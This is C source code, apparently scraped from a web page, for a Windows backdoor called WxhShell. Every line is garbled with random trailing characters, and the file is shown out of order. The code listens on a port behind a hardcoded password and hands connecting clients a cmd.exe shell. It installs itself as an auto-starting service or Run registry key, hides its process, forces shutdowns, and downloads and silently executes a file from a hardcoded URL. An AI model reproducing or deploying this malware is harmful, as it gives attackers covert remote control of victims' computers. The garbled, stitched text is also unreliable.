    } K_fJ{Vc>O  
  // 关机 l% p4.CX  
  case 'd': { N>w+YFM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e> Dux  
    if(Boot(SHUTDOWN)) E%?> %h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J4Ca0Ag  
    else { I9h{fB  
    closesocket(wsh); 5& _R+g  
    ExitThread(0); "iJAM`Hi  
    } 5O~;^0iC  
    break; k)zBw(wr  
    } TVVu_ib  
  // 获取shell SC--jhDZ  
  case 's': { >#y1(\e  
    CmdShell(wsh); W~5gTiBZ]  
    closesocket(wsh); ab[V->>%  
    ExitThread(0); s$~H{za  
    break; `)NTJc$):  
  } CdKs+x&tZ  
  // 退出 OKA6S*  
  case 'x': { I5E5,{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :4)lmIu  
    CloseIt(wsh); ; hU9_e  
    break; CoV @{Pi  
    } cqp^**s  
  // 离开 hVdGxT]6  
  case 'q': { }tJMnq/m($  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); orFB*{/Z  
    closesocket(wsh); Z ZT2c0AK  
    WSACleanup(); Ch]q:o4  
    exit(1); <bJ~Ol  
    break; ]UrlFiR  
        } 88}04  
  } 2<*Yq 8  
  } mhF@S@  
_)~|Z~  
  // 提示信息 xR;z!Tg)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )>]SJQ!k  
} @h5Q?I  
  } w$`u_P|@E:  
I.o3Old  
  return; &-x/c\jz  
} D"K! ELGW  
u@aM8Na  
// shell模块句柄 _he~Y2zFz  
int CmdShell(SOCKET sock) xEB 4oQ5  
{ M#yUdl7d  
STARTUPINFO si; <#~n+,  
ZeroMemory(&si,sizeof(si)); R%JEx3)0m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; USXPa[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oTA'=<W?D  
PROCESS_INFORMATION ProcessInfo; lEpPi@2PK  
char cmdline[]="cmd"; 17 VNw/Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0.#% KfQ  
  return 0; z u1gP/  
} !9^GkFR6n  
+EZr@  
// 自身启动模式 we?t/YB=  
int StartFromService(void) QzYaxNGv  
{ e XdH)|l,\  
typedef struct r<*Y1;7H'  
{ UHDcheeRD  
  DWORD ExitStatus; +PO& z!F  
  DWORD PebBaseAddress; tOPk x(  
  DWORD AffinityMask; d%Ku 'Jy  
  DWORD BasePriority; :$QwOz^N*  
  ULONG UniqueProcessId; U27ja|W^  
  ULONG InheritedFromUniqueProcessId; L~_zR>  
}   PROCESS_BASIC_INFORMATION; ~5Rh7   
7RgnL<t~:8  
PROCNTQSIP NtQueryInformationProcess; P2)g%$ME  
UL" <V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T{T> S%17~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1'5 !")r  
* =O@D2g0  
  HANDLE             hProcess; gKb5W094@  
  PROCESS_BASIC_INFORMATION pbi; *oIKddZh  
OmP(&t7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s'@@q  
  if(NULL == hInst ) return 0; ]j(Ld\:L  
dRTpGz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <pUc( tPoz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j MA%`*r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _[ `"E'  
s_,&"->  
  if (!NtQueryInformationProcess) return 0; <zu)=W'R]  
,-BZsZ0~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yAc}4*;T/  
  if(!hProcess) return 0; A3zNUad;  
/zV0kW>N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *tT5Zt/&Sr  
t aOsC! Bp  
  CloseHandle(hProcess); ,I[A~  
8\Eq(o}7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7M9s}b%?  
if(hProcess==NULL) return 0; 3*b!]^d:D  
&S# bLE  
HMODULE hMod; ~ K|o@LK  
char procName[255]; %P]-wBJw  
unsigned long cbNeeded; QLTE`t5w3'  
ZP%Bu2xd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NO)vk+   
fGLOXbsA  
  CloseHandle(hProcess); .{ ]=v  
[g*]u3s  
if(strstr(procName,"services")) return 1; // 以服务启动 u"a$/  
;D<rGkry  
  return 0; // 注册表启动 NPR{g!tK%  
} 7h/{F({r=  
o=(>#iVM  
// 主模块 [ \Aor[(  
int StartWxhshell(LPSTR lpCmdLine) 0 .p $q  
{ ;d  >  
  SOCKET wsl; kC[nY  
BOOL val=TRUE; |zL.PS  
  int port=0; Xq%!(YD|  
  struct sockaddr_in door; +<I1@C  
O~&l.>??  
  if(wscfg.ws_autoins) Install(); k)USLA  
r,dxW5v.  
port=atoi(lpCmdLine); ^A$~8?f  
^SRa!8z$W  
if(port<=0) port=wscfg.ws_port; 1vxh3KS.  
(.3L'+F  
  WSADATA data;  ?hpk)Qu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l+ <x  
]t3 NA*mM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P.1iuZ "w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]j:Ikb}  
  door.sin_family = AF_INET; ByZ.!~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 63- YWhs;  
  door.sin_port = htons(port); f:g<Bz=u)*  
Qs{Qg<}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9P)<CD0  
closesocket(wsl); ?0Ca-T Rz  
return 1; f1>^kl3@P  
} XsHl%o8,z  
HI eMV,.QN  
  if(listen(wsl,2) == INVALID_SOCKET) { }Mo9r4}  
closesocket(wsl); %jM|*^\%  
return 1; p:ST$ 1 K  
} P-`^I`r  
  Wxhshell(wsl); tg5jS]O  
  WSACleanup(); \>/:@4oK  
V2]S{!p}k  
return 0; "WYcw\@U  
5tl}rmI`  
} Fk(0q/b  
z_l3=7R  
// 以NT服务方式启动 [l5 "'{x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?\F,}e  
{ {nOK*7+ "  
DWORD   status = 0; T[q-$8U  
  DWORD   specificError = 0xfffffff; 2i(|?XJ^  
qc'tK6=jp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v981nJ>w,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7RD` *s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e?lqs,m@"  
  serviceStatus.dwWin32ExitCode     = 0; <p0$Q!^dK=  
  serviceStatus.dwServiceSpecificExitCode = 0; 8h20*@wSN  
  serviceStatus.dwCheckPoint       = 0; -{b1&  
  serviceStatus.dwWaitHint       = 0; 6l vx  
@7^#_772  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 16G v? I h  
  if (hServiceStatusHandle==0) return; qryt1~Dq  
3Ob"r`  
status = GetLastError(); -;`W"&`ss  
  if (status!=NO_ERROR) ^Q:K$!  
{ nLfnikw&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *E)Y?9u"  
    serviceStatus.dwCheckPoint       = 0; F<(x z=  
    serviceStatus.dwWaitHint       = 0; F5<{-{Ky  
    serviceStatus.dwWin32ExitCode     = status; u\.sS|$  
    serviceStatus.dwServiceSpecificExitCode = specificError; f|^f^Hu:{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Rux<=cd|  
    return; t2Y~MyT/  
  } i)(Q Npv  
Ju9v n44  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^:)&KV8D|  
  serviceStatus.dwCheckPoint       = 0; wbS++cF<  
  serviceStatus.dwWaitHint       = 0; 610k#$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^&rb I,D  
} z:G9Uu3H(  
0\~Zg  
// 处理NT服务事件,比如:启动、停止 =W|Q0|U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1aT$07G0  
{ sTqB%$K}  
switch(fdwControl) d<3"$%C  
{ z"O-d<U5  
case SERVICE_CONTROL_STOP: e#OU {2X  
  serviceStatus.dwWin32ExitCode = 0; [1UqMkXtf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6kuSkd$.  
  serviceStatus.dwCheckPoint   = 0; $WPN.,7  
  serviceStatus.dwWaitHint     = 0; YWZF*,4  
  { Mk9 kGP%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x/S%NySG  
  } tQ}gBE63  
  return; z*[Z:  
case SERVICE_CONTROL_PAUSE: M1M]]fT0ME  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5k(#kyP  
  break; E0pQRGPA  
case SERVICE_CONTROL_CONTINUE: \~H"!vj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mHMej@  
  break; 4yM8W\je  
case SERVICE_CONTROL_INTERROGATE: dCK -"#T!  
  break; k1H0hDE  
}; F3'X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (~GFd7  
} #?=cg]v_  
D/Wuan?yPN  
// 标准应用程序主函数 9 $S,P|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >dl!Ep  
{ Vwqfn4sx?i  
aS7zG2R4H  
// 获取操作系统版本 S_CtE M  
OsIsNt=GetOsVer(); >8tuLd*T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7GUJ&U) J  
IXN4?=)I  
  // 从命令行安装 8( D}y\  
  if(strpbrk(lpCmdLine,"iI")) Install(); z&0V21"l  
1X*T219o  
  // 下载执行文件 ]`XuE-Uh  
if(wscfg.ws_downexe) { $(R) =4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @7=D]yu  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^IpiNY/%Q  
} [VW;L l  
hI8C XG  
if(!OsIsNt) { j#f&!&G5<&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,]mwk~HeF  
HideProc(); %}!}2s.A  
StartWxhshell(lpCmdLine); srLr~^$j[  
} /8>/"Z2S  
else 0?xiGSZV  
  if(StartFromService()) ~a%hRJg  
  // 以服务方式启动 ([-=NT}Aq  
  StartServiceCtrlDispatcher(DispatchTable); =.hDf<U  
else 8 8$ Y-g5*  
  // 普通方式启动 lKUm_; m  
  StartWxhshell(lpCmdLine); ek)(pJ(+#  
ef;L|b%pp  
return 0; N{t :%[  
} N08n/u&cr,  
P{!:pxu[  
5ba[6\Af  
F^z8+W  
=========================================== i t@}dZ  
nln6:^w  
S "Pj 1  
R?~h7 d  
Z3>xpw G  
_vV&4>  
" vqOLSE"t*O  
~!F4JRf  
#include <stdio.h> ~vV )|  
#include <string.h> [?@wCY4=  
#include <windows.h> BkxhF  
#include <winsock2.h>  ,nR8l  
#include <winsvc.h> D(6x'</>?  
#include <urlmon.h> }~r6>7I  
YB~t|m65  
#pragma comment (lib, "Ws2_32.lib") j(C UYm  
#pragma comment (lib, "urlmon.lib") KR(} A"  
!muYn-4M  
#define MAX_USER   100 // 最大客户端连接数 uyt-q|83=  
#define BUF_SOCK   200 // sock buffer :wZ`>,K"t>  
#define KEY_BUFF   255 // 输入 buffer B"9hQb  
iv+jv2ZF%  
#define REBOOT     0   // 重启 j& iL5J;  
#define SHUTDOWN   1   // 关机 Q@wq }vc!  
P`dHR;Y0  
#define DEF_PORT   5000 // 监听端口 @) ZO$h  
RIEv*2_O  
#define REG_LEN     16   // 注册表键长度 1bZiPG{  
#define SVC_LEN     80   // NT服务名长度 pptM &Y  
4)+IO;  
// 从dll定义API qf`xH"$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #7-@k-<|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hdtnC29$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \41)0,sEy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1DLG]-j}  
K6{bYho  
// wxhshell配置信息 4ylDD|) rO  
struct WSCFG {  AY'?Xt  
  int ws_port;         // 监听端口 ,&&M|,NQ&s  
  char ws_passstr[REG_LEN]; // 口令 ob0 8xGj  
  int ws_autoins;       // 安装标记, 1=yes 0=no V<2fPDZ  
  char ws_regname[REG_LEN]; // 注册表键名 w;@25= |  
  char ws_svcname[REG_LEN]; // 服务名 /rxltF3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZoON5P>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cia-OVX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #C1A5JE&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no plx/}ah8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H<Kkj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yuo1'gE+  
?QSx8d  
}; 20l_ay  
CLY6 YB' R  
// default Wxhshell configuration gJ5wAK+?  
struct WSCFG wscfg={DEF_PORT, bV$8 >[`  
    "xuhuanlingzhe", 3$N %iE6  
    1, ^jha:d  
    "Wxhshell", 9c^skNbS  
    "Wxhshell", ,3]?%t0xe  
            "WxhShell Service", noh|/sPMD  
    "Wrsky Windows CmdShell Service", :#w+?LA*  
    "Please Input Your Password: ", $FQcDo|[  
  1, 7<1fKrN?GF  
  "http://www.wrsky.com/wxhshell.exe", _TOi [G T  
  "Wxhshell.exe" Ue3B+k9w  
    }; }kCn@  
P,/13tZ#3  
// 消息定义模块 } }f_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~+<xFi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U8K &Q4^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6<s(e_5f  
char *msg_ws_ext="\n\rExit."; L)/6kt=  
char *msg_ws_end="\n\rQuit."; 3aO;@GNJ  
char *msg_ws_boot="\n\rReboot..."; $35,\ZO>  
char *msg_ws_poff="\n\rShutdown..."; VXkAFgO  
char *msg_ws_down="\n\rSave to "; KIKq9*  
nEd M_JPv  
char *msg_ws_err="\n\rErr!"; u*26>.  
char *msg_ws_ok="\n\rOK!"; nGx ~) T  
9eGCBVW:*  
char ExeFile[MAX_PATH]; ?UZ$bz  
int nUser = 0; : _^0'ULP  
HANDLE handles[MAX_USER]; cK|rrwa0  
int OsIsNt; wrQydI  
]M~8 @K  
SERVICE_STATUS       serviceStatus; *f`s%&Y]s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i0'Xy>l  
U+.PuC[3  
// 函数声明 .>kccLr:z  
int Install(void); t}]9VD9  
int Uninstall(void); c>S"`r  
int DownloadFile(char *sURL, SOCKET wsh); >G<\1R  
int Boot(int flag); N a. nA  
void HideProc(void); KP=D! l&q  
int GetOsVer(void); 6; 5)/q  
int Wxhshell(SOCKET wsl); C|4 U78f{  
void TalkWithClient(void *cs); &@4.;u  
int CmdShell(SOCKET sock); NWJcFj_  
int StartFromService(void); Z[#I"-Q~:  
int StartWxhshell(LPSTR lpCmdLine); 'f-   
N b3I%r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~># LOT `  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ql~#((K  
_\,rX\  
// 数据结构和表定义 ^91sl5c8yD  
SERVICE_TABLE_ENTRY DispatchTable[] = 5ys #L&q'Z  
{ oUQGLl!V  
{wscfg.ws_svcname, NTServiceMain}, iN<(O7B;  
{NULL, NULL} X2 \E9hJg  
}; X)Dqeb6  
UsLh)#}h  
// 自我安装 "JzfL(yt  
int Install(void) /&D'V_Q`*  
{ v#<\:|XAg  
  char svExeFile[MAX_PATH]; 2q"_^deI5*  
  HKEY key; =MTj4VXh"  
  strcpy(svExeFile,ExeFile); <#xrrRhm}  
R=\v3m  
// 如果是win9x系统,修改注册表设为自启动 ]`zjRRd  
if(!OsIsNt) { b A)b`1lI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +"YTCzv;t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8?e   
  RegCloseKey(key); |`w$|pm=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 09R,'QJ|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lzh9DYU6  
  RegCloseKey(key); <Zig Co w  
  return 0; h'B9|Cm  
    } _Fy4DVCg  
  } #04{(G|~+E  
} ,'FD}yw4v  
else { h`?y2?O  
Hs[}l_gYn  
// 如果是NT以上系统,安装为系统服务 M0O>Ljo4RN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T(Y}V[0+  
if (schSCManager!=0) *I:mw8t  
{ J#6LSD@ (O  
  SC_HANDLE schService = CreateService n&_YYEHx  
  ( QjQ4Z'.r>  
  schSCManager, |yLk5e~@-  
  wscfg.ws_svcname, i[^k.W3gf  
  wscfg.ws_svcdisp, 1KW3l<v-6  
  SERVICE_ALL_ACCESS, 3hc#FmLr2b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `6rrXU6|  
  SERVICE_AUTO_START, .r~'(g{qt  
  SERVICE_ERROR_NORMAL, TT|-aS0l(u  
  svExeFile, }l.KpdRT2  
  NULL, LkaG8#m1R  
  NULL, M$,Jg5Dc  
  NULL, (JevHdI*V  
  NULL, ,q8(]n 4  
  NULL |xq} '.C  
  ); M|U';2hZN:  
  if (schService!=0) "YuZ fL`bb  
  { clHM8$  
  CloseServiceHandle(schService); ha_@Yqgh  
  CloseServiceHandle(schSCManager); Tv`_n2J`2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /r-8T>m  
  strcat(svExeFile,wscfg.ws_svcname); xC)7eQn/R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4w@v#H@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N%O[  
  RegCloseKey(key); a|UqeNI{  
  return 0; r k@UsHy  
    }  q4_**  
  } gk"mr_03  
  CloseServiceHandle(schSCManager); D2Y&[zgv  
} 0HjJaML  
} ab{;Z 5O  
!{IC[g n  
return 1; jUYF.K&  
} YjFWC!Qj$  
F\JLbY{x]  
// 自我卸载 +q7qK*  
int Uninstall(void) l x7Kw%  
{ h:f;mn?x  
  HKEY key; FnY$)o;   
?3[tJreVj  
if(!OsIsNt) { b<\$d4Qy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {&uT3*V1  
  RegDeleteValue(key,wscfg.ws_regname); 9 >%+bA(  
  RegCloseKey(key); o1U}/y+R\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w .tW=z5  
  RegDeleteValue(key,wscfg.ws_regname); > 9o{(j  
  RegCloseKey(key); j?( c}!}  
  return 0; H;qJH1EdD  
  } )+?HI^-[S  
} _ ~|Q4AJ  
} {-Yee[d<?  
else { 4*iHw+%mq  
9-b 8`|s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R^w}o,/  
if (schSCManager!=0) M]1;  
{ 7iP5T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?C}sR:K/  
  if (schService!=0) ^ZR8s^X  
  { `y'aH 'EEd  
  if(DeleteService(schService)!=0) { ):S!Nl  
  CloseServiceHandle(schService); 2pz4rc  
  CloseServiceHandle(schSCManager); MZ)T0|S_  
  return 0; A hR0zg  
  } ~,T+JX  
  CloseServiceHandle(schService); F%}7cm2  
  } \Y9I~8\ gB  
  CloseServiceHandle(schSCManager); vuZf#\zh}  
} YhS{$ Z  
} mzu<C)9d,  
z<t>hzl 7  
return 1; <E SvvTf  
} w m19T7*L  
mdaYYD=c%  
// 从指定url下载文件 # J]~  
int DownloadFile(char *sURL, SOCKET wsh) <iRWd  
{ X3AwM%,!  
  HRESULT hr; zLL)VFCJW  
char seps[]= "/"; r( M[8@Nz  
char *token; rfX=*mjt  
char *file; kAeNQRjR  
char myURL[MAX_PATH]; KYf;_C,$  
char myFILE[MAX_PATH]; $5x]%1 R  
g#}tm<  
strcpy(myURL,sURL); 9Yn)t#G'`F  
  token=strtok(myURL,seps); :b5XKv^  
  while(token!=NULL) W]zwghxH  
  { .ots?Ns  
    file=token; w [L&*  
  token=strtok(NULL,seps); &5d\~{;  
  } 7x(v?  
.D!WO  
GetCurrentDirectory(MAX_PATH,myFILE); w]}f6VlEl  
strcat(myFILE, "\\"); ^( DL+r,  
strcat(myFILE, file); 6(>WGR  
  send(wsh,myFILE,strlen(myFILE),0); k&!6fZ)  
send(wsh,"...",3,0); $7Cgo&J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {U^j&E  
  if(hr==S_OK) <W2ZoqaV  
return 0; Gp8psH  
else fQO ""qh  
return 1; U:\p$hL9  
BtzYA"  
} Sj@15 W  
jccOsG9;_  
// 系统电源模块 %7 /,m  
int Boot(int flag) ]=|P<F   
{ [8TS"ph>  
  HANDLE hToken; :mP9^Do2;  
  TOKEN_PRIVILEGES tkp; B 2Z0  
AJdp6@O +  
  if(OsIsNt) { a(f(R&-:$Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'mJ13  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +X[8wUm|^  
    tkp.PrivilegeCount = 1; SwX@I6huM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n7S; Xve#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); djfU:$!j&  
if(flag==REBOOT) { >9MS" t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KJX>DL 9\  
  return 0; \f<z*!,D$  
} &Q~)]|t  
else { UhdqY]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :T5A84/C  
  return 0; .zIgbv s  
} m &!XA  
  } i?x$w{co  
  else { 14-]esSa  
if(flag==REBOOT) { dWUUxKC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h9jc,X u5X  
  return 0; Sk$KqHX(  
} Fv A8T 2-v  
else { ($'V& x8T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .lr5!Stb  
  return 0; #"<?_fao~  
} J 3B`Krh  
} hJLT!33:  
Qh8C,"a  
return 1; UBIIo'u  
} 8jNOEM(0Y+  
)(]Envb?A0  
// win9x进程隐藏模块 `,P >mp)uU  
void HideProc(void) N8QH*FX/F1  
{ TaWaHf  
d#8e~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .:N:pWe  
  if ( hKernel != NULL ) FB_NkXR  
  { !=y Q)l2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @h9K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d>/Tu_ y  
    FreeLibrary(hKernel); TL'0T,Jo  
  } fM2^MUp[=1  
wV>c" J  
return; YXRjx .srf  
} G AEZY  
7"a4/e;^  
// 获取操作系统版本 #Wk5E2t  
int GetOsVer(void) z37Z %^  
{ -;/ Y  
  OSVERSIONINFO winfo; =Epq%,4nG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hkF^?AJ  
  GetVersionEx(&winfo); D J_DonO]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "k, K~@}  
  return 1; QF&6?e06p0  
  else I)lC{v  
  return 0; NNp}|a9  
} _#vGs:-x&  
wASX\D }  
// 客户端句柄模块 GFt1  
int Wxhshell(SOCKET wsl) yquAr$L!  
{ \Z'/+}^h  
  SOCKET wsh; shzG Eb  
  struct sockaddr_in client; uJ 8x  
  DWORD myID; #j.FJFGX  
}I'^./za  
  while(nUser<MAX_USER) ?0) @jc=  
{ CIy^`2wq  
  int nSize=sizeof(client); =f `=@]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u(Rk'7k  
  if(wsh==INVALID_SOCKET) return 1; 'kEG.Oq7  
MQ9vPgh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ckWkZ 78\  
if(handles[nUser]==0) `M0YAiG  
  closesocket(wsh); ( OXY^iq  
else  p[Hr39o  
  nUser++; Fv@tD4I>  
  } 7 Kjj?~RA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x?=B\8m  
}AJ L,Q7q  
  return 0; 1daL y  
} Gnv!]c&S>l  
{$|/|*  
// 关闭 socket I=5dYq4 l  
void CloseIt(SOCKET wsh) 63C(Tp"  
{ PkO!'X  
closesocket(wsh); ])UwC-l  
nUser--; I*( 1.%:m  
ExitThread(0); H`gb}?9R  
} f~R[&q +  
A _i zSzC1  
// 客户端请求句柄 bBG/gQ  
void TalkWithClient(void *cs) *v&*% B  
{ }H2#H7!H  
l?<q YjI  
  SOCKET wsh=(SOCKET)cs; FJF3B)Va|  
  char pwd[SVC_LEN]; ~QCA -Yud  
  char cmd[KEY_BUFF]; RJwb@r<v  
char chr[1]; 8$m1eQ`{  
int i,j; BjvdnbJg  
v8  
  while (nUser < MAX_USER) { \OA L Or  
Ih3$  
if(wscfg.ws_passstr) { FR["e1<0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dE GX3 -  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3fl7~Lw,  
  //ZeroMemory(pwd,KEY_BUFF); wonYm27f  
      i=0; 0$QIfT)  
  while(i<SVC_LEN) { {lMqcK  
j-6v2MH  
  // 设置超时 82s 5VQ6  
  fd_set FdRead; pl?kS8#U?  
  struct timeval TimeOut; k,lqT>C  
  FD_ZERO(&FdRead); l#ZyB|  
  FD_SET(wsh,&FdRead); %p*`h43;  
  TimeOut.tv_sec=8; iJ4 <f->t  
  TimeOut.tv_usec=0; %Co b(C&}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #fN/LO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L^)qe^%3  
7IQqN&J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g&kH'fR8  
  pwd=chr[0]; F3 Y<ZbxT  
  if(chr[0]==0xd || chr[0]==0xa) { {6:& %V  
  pwd=0; 3; A$<s  
  break; nd;O(s;  
  } kU1 %f o  
  i++; 7JS#a=D#  
    } &urb!tQ>&  
K.%z;( U  
  // 如果是非法用户,关闭 socket 0Gx*'B=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CWBbSGk  
} ?R282l  
{ Hr>X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U&X.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ) G|"jFP  
{zu/tCq?  
while(1) { Kk`<f d  
PF`:1;P U  
  ZeroMemory(cmd,KEY_BUFF); c8q G\\t[  
F'XlJ M  
      // 自动支持客户端 telnet标准    tI'e ctn  
  j=0; \QiqcD9Y  
  while(j<KEY_BUFF) { _Qg{ ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aoK4Du{  
  cmd[j]=chr[0]; Txu>/1N,  
  if(chr[0]==0xa || chr[0]==0xd) { `BpCRKTG  
  cmd[j]=0; RW)k_#%=  
  break; 'z~KTDX  
  } dX 0x Kk%#  
  j++; 0S_Ra+e  
    } 418gcg6)  
-CwWs~!  
  // 下载文件 h~:H?pj3g  
  if(strstr(cmd,"http://")) { [&Lxz~W][  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L PMb0F}"5  
  if(DownloadFile(cmd,wsh)) GV=V^Fl .  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7F~xq#Wi#  
